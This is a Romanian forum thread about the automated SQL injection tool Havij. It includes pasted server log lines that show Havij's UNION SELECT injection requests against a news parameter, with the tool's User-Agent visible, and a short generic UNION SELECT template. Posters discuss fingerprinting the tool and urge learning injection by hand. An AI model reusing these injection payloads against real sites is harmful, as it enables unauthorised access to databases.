Jump to content
akkelaro

Havij

By akkelaro, in Cosul de gunoi

Recommended Posts

pyth0n3 Newbie

pyth0n3

Posted
Posted (edited)

Sixth 2012 "penal" award

36307912.jpg

Off:

Daca isp-urile din romania ma angajeaza ca administrator si imi fac o propunere decenta, 90% de pe forum vin arestati de catre garda cu tot cu proxy-urile pe care le folositi si cu tot cu sock-surile private .Garantez eficienta in serviciu.Va bat eu la usa la 7 dimineata si va dau ca premiu un manual de retelistica pe care il puteti rasfoi cu usurinta intre peretii din celula 18 a închisorii de la Jilava.

Edited by pyth0n3
jojo123 Newbie

jojo123

Posted
Posted (edited)

Tu ce ai zice daca ai vedea asa ceva in loguri??

IP.IP.IP.IP - - [02/Mar/2012:23:49:20 +0200] "GET /index.php?cat=0&area=1&news=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536-- HTTP/1.1" 200 16 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij"
IP.IP.IP.IP - - [02/Mar/2012:23:49:21 +0200] "GET /index.php?cat=0&area=1&news=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536-- HTTP/1.1" 200 16 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij"
IP.IP.IP.IP - - [02/Mar/2012:23:49:21 +0200] "GET /index.php?cat=0&area=1&news=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536-- HTTP/1.1" 200 16 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij"
IP.IP.IP.IP - - [02/Mar/2012:23:49:21 +0200] "GET /index.php?cat=0&area=1&news=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536-- HTTP/1.1" 200 16 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij"
IP.IP.IP.IP - - [02/Mar/2012:23:49:21 +0200] "GET /index.php?cat=0&area=1&news=999999.9+union+all+select+0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536%2C0x31303235343830303536-- HTTP/1.1" 200 16 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Havij"

//si manual tot cam asa se vede difera ..."viteza"

Edited by jojo123
totti93 Newbie

totti93

Posted
Posted

Havij isi pune amprenta in User-Agent. Si in loc sa folosesti aceste cacaturi, mai bine inveti manual.

Cateve intrebari pentru cei care fac SQLi-uri cu Havij si nu numai:

1. Cati dintre voi cunoasteti structura limbajului SQL si diferentele dintre MySQL, MsSQL, PostgreSQL, etc. (astea sunt cele mai frecvente)?

2. Cati dintre voi stiti ce se intampla is spatele injectiei pe care il face Havij?

3. Cati dintre voi ati scris un exploit cand ati vazut ca Havij se caca pe el?

4. Cati ati exploatat altfel o vulnerabilitate decat cu un simplu `<...> UNION SELECT col1,col2,... FROM tbl`?

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
Go to topic listing
×
×
  • Create New...